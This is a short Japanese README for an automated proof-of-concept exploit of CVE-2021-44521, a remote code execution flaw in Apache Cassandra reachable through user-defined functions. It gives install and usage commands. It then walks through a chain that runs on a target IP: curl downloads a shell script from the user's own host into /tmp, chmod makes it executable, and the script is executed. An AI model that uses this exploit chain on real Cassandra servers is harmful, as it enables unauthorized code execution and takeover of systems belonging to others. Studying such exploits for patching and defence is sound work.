
CVE-2021-44521の自動化された概念実証エクスプロイト。ユーザー定義関数を介してApache Cassandra上でリモートコード実行を可能にします。ターゲットIP上で任意のコマンドを実行します。
CVE-2021-44521 の自動化 PoC オリジナル PoC へのクレジット: https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/
Cassandra-driver
pip3 install cassandra-driver
python3 poc.py <ip> <cmd>
現時点では、一度に複数のコマンドを実行したり、パイプを使用したりすることはできないことに注意してください。 そのため、次のように実行してください。
pyhon3 poc.py <ip> "curl http://<your-ip>/shell.sh -o /tmp/shell.sh"
python3 poc.py <ip> "chmod +x /tmp/shell.sh"
python3 poc.py <ip> "/tmp/shell.sh"